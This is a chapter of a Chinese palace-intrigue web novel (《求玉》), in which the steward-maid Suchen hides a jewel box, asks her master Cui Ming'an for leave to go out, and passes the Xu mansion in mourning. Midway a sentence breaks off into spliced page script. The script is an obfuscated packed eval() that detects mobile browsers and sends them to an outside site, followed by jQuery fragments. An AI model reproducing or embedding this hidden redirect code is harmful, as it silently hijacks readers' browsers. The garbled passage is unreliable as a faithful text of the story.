23. 第 23 章

作品:《求玉

    身后的吵闹声渐渐减弱,素尘抱着怀里接过的木匣子。


    “姑娘!”碧珠的声音在身后响起,她似是被裙角绊了一下,又马上跑了过来,“那人……都听姑娘的话处置了,但是姨娘让我过来再和您道声谢。”


    她重重地向她鞠了一躬,头上插着的珠钗随着她的动作垂置她的耳边。


    素尘偏身避开这个礼,轻拍了拍自己怀里的木匣子:“不用谢,这次是有报酬的。”


    她拿在手里没有打开过,但里边虽发出珠玉与木头相触的声音,却因塞得鼓鼓囊囊的反而多了几声沉闷。


    都无需多看,她心里已经掂量出里边物什的贵重了。


    碧珠没有多说,从怀里拿出素色帕子。


    “这是……”素尘接过,虽用布粗糙廉价,但上边绣上的鸳鸯做工精细,怕是花了好一番心思。


    她左右看看,确认了没人以后才小声说:“这是那小……人掉出来的东西,翠银娘子说您自有用处。”


    素尘看着那帕子,上边的檀香味弄得呛人鼻子。


    “我知晓了,谢过娘子了。”


    碧珠年龄尚轻,又与徐姨娘一起待在着清净逼人的玉茗轩里,不清楚她和翠银二人之间打的哑谜。


    素尘腾出右手,捻起掉落在她发间的一瓣山茶花瓣。


    “哎呦,这怕是帮我低头捡珠子时落的。”素尘轻笑,她将那指尖花瓣随意放开,任它飘落在青石板旁的草地上。


    那整府只开于玉茗轩的花瓣落在院外,任凭路过的春风吹过。


    春风挟带着初春第一抹暖意,将女子的裙摆吹起,月白色裙摆层层叠叠,真如枝头山茶花般灿烂。


    素尘看着手里的女匣子,上面雕刻的花纹精致漂亮,开口处已经磨得有些圆润,雕花却不显时间的流逝。


    徐姨娘这份礼和心意,她还真不知道自己到底应该怎么送进徐府。


    素尘袖口藏的玉坠膈着她腕处生疼,她却只能将它暂时放于此。


    府里众位贵人,着实喜欢打哑谜。


    她向前走着,一直走进公子院里。


    崔明安出门前,已经让云竹把门前灯笼取了下来,就连院里掉下来的落花残叶也已经被每日进来洒扫的婢女清干净了。


    拿着剪子过来修草的几个府丁没想到她这个时间会回来,皆是有些惊讶地看了过来。


    素尘看着他们,摆手示意他们继续。


    手里的雕花木匣一看就价值不菲,素尘作为崔府管事,手里拿着这么个木匣子确实算不得稀奇。


    但那匣子瞧着就知是高门女子所用,素尘拿着这个进公子院里,也能引起他们的一些好奇。


    素尘不动声色地进了房,房门一关,隔断了他们若有若无的打量。


    那木匣子放在桌上,素尘抱起它想将它藏到自己的床下。


    但就在她跪坐在地上,弓腰想俯身时,又直起身狐疑般看了眼门口处。


    紧闭着,门缝处也堵的死死的。


    她皱了皱鼻,眯起右眼仔细看了眼地缝,确定了外面没人偷看,才小心翼翼地推着木匣进床底。


    但底下本来藏着的木盒终究还是宣誓了自己的主权,刚好抵住了这个精致的木匣子。


    她低头看到了自己的那旧木盒。


    起身叹口气。


    分明有些凉的天气,这一通折腾下来,她头上浸出了一层薄薄的汗珠。


    素尘歪头想了想,实在有些苦恼。


    说实话,她愈发觉得刚刚自己不应该心软的。


    就像听到她心里话似的,手里匣子忽的因着松动掉落的缘故晃了下,里边不知是首饰什么的金银珠玉相撞出声。


    “好吧,富贵确实迷人眼啊。”


    她起身,环顾厢房一周。


    当触及角落摆着的那些精致锦盒时,眼睛一亮。


    再出门时,院里的府丁们已经出去了。


    她怀里的木匣子已经被收拾妥当,瞧着天色已经不早了,她心里的打算怕是要再找机会。


    素尘算着时间,先是撑起杆子把灯笼挂了上去,瞧着烛火在里边摇晃,试图照亮本来还未暗下来的天色。


    耳朵动了动,她大步进了院门,留给来人的只剩下一角衣裙。


    已经飞快地进了书房的素尘精准地拿起书房里的那本账目。


    “怎么了?”推门进来的人看着她,上下扫了她一眼,神色淡漠。


    素尘抬眸,向他故作轻巧地笑了下:“公子,今日怎回得这般早?”


    听了她的话,崔明安没有回答。


    或者说,这种没有意义的问题,本来没有必要回答。


    他眼眸幽深,分明藏着无限算计,却被那似水一般的温润尔雅藏住了。


    素尘看不出他眼底深处的隐秘,但她也知自己的小伎俩怕是躲不过他。


    崔明安扫了眼她手里的账本:“茶楼又出问题了?”


    文竹今天和他一起回来,见素尘手里拿着东西,自然地走上前为崔明安脱下外面的披风。


    还穿着官袍的男子跨步走到桌案前坐了下来。


    素尘故作苦恼:“是啊,上次掌柜的说账房整理,一时间找不到我要的那一册。”


    “所以?”


    “上次说过几日再去,算算也到时候了。”素尘摇头,想出府的打算摆在明面上。


    崔明安听着这话,似是想劝些什么,但他开口只提醒了一句:“近来外面有些乱,尤其是城南多了许多难民,怕是有些会挤来茶楼附近。”


    他拿起摆在一旁的整理好的考生名册,摆手不欲多言。


    还味得到赦令的素尘将手里的账本放下,眉眼弯弯:“公子,奴婢今日挂了灯笼,可是比其他院挂的都要早?”


    外面日头还未暗下,确实是整个府里挂的最早的。


    素尘刚被他带回来时,整个院子终于多了个同龄人,她却总是安静地缩在角落。相处时间长了,云竹文竹二人在闲着时,总会想方设法地逗她玩。每日傍晚,崔明安从国子监那儿回来时都能看到她独自坐在门口,把院门的灯笼挂着等他们回来。


    崔明安想起那时光景,低头轻笑一声。


    她素来是装模作样的一把好手,崔明安看了她一眼,顿了一下,最后松口:“多带些侍卫……”


    “如果是茶楼再出问题,你也无需再去了,近来京城多事,茶楼口舌众多,难以管理……干脆关了。”崔明安轻描淡写,仿佛只是把临时支起的小摊子撤了而已。


    素尘眼眸


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15346822|165140||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    微动,但还是压下情绪答了声:“是。”


    虽茶酒置于一起有些奇怪,但这间茶楼位坐名动京城的醉仙楼对面,更是整个京城学子及权贵雅士最喜的品茗之地。光是素尘手里的这本账目,怕是里边每一笔收入都及其可观。但在他的口里,却是一间觉得有些麻烦便可关掉的小铺子罢了。


    她心里暗叹一声,自己还担心太原崔氏的家产呢,还是先关心自己吧。


    素尘回房,拂过木匣子的一角。


    日月交替,窗外风声呼啸,日光伴随着男人手中剑花挥舞声,已经对了好一会账的她推窗看去。


    身影绰绰,那人却已经换上朱色官袍,手中笏板上混着的墨香味浸了过来。身上所披是她昨夜整理好的墨色狐毛披风,他听见动静,临出门时回头看了她这处一眼。朱衣墨色下的那张玉容更是神清骨秀,他望着她,似是看到了什么,左眼一眯,勾唇笑了起来。


    文竹看着他的动作,顺着他的目光看到床边的女子,无奈地跟着笑了起来。


    素尘被他们二人笑得有些嗲毛,疑惑地歪头。


    他们没开口,只是笑了一会离开了。


    主人既然离开了,素尘也该出门了。


    天色尚未亮起,她已经把今日府里的上上下下照常交代了一顿,等再次抬头,府里的主子都起身用膳了。


    素尘抱着木匣子上了马车,掀开帘子的一条缝,看着街道上来往的人群。


    离了朱墙瓦屋,路上的人愈发多了起来。


    她看着熟悉的方向,又回头看了看后面跟着的持剑侍卫。


    他们面色肃穆,对上素尘的目光时,只是轻轻点了个头。


    素尘吞下想说的话,对着他们笑了笑便缩回了脑袋。


    “薛大哥。”


    马夫大哥听见车里女子小声喊他,声音刻意压低。


    素尘见他有了反应,继续压低声音和他商量:“今日走南边那条路吧。”


    马夫没有回应,但却手里缰绳微动,悄悄改了道。


    “多谢。”


    南边这条路分明与城南闹市更近,马车两边的人声却愈发清净。


    素尘偏头,却发现这哪里是清净,分明算得上冷寂了。


    马车上的银铃摇摇晃晃,响彻整个街道。


    每个人低头敛声屏气,神色恭敬悲戚。


    徐府到了,素尘将那帘缝拉紧了一些,透着缝隙望着那牌匾上大气飞扬的“徐”字。


    牌匾下的府门紧闭,拉着白绢,却不允吊丧的人进出。


    放眼望去,只有几个身着素衣的学子模样的人,含泪将手里拿着的酒壶放在府门外。


    素尘垂眸,旁边放着的木匣子看来不能直接送进去了。


    马车缓缓向前走,她这才看见木匣子边上的一朵花蕊上染上了一点黑红。


    怕是在徐姨娘院里无意染上的,她手指蹭了蹭,却擦不了雕花里的那处。


    “姑娘,起风了。”马夫抬头看着徐府里飘出些白色纸花瓣。


    素尘掀开纱帘,忽然飘进一枚纸瓣,划过她的鼻尖,悠悠掉在那血迹上,如同那木雕花浸着朱墨开出绚烂的花朵。


    “徐大人一路走好。”停在马车边上的锦衣学子声音低沉熟悉,略带哽咽。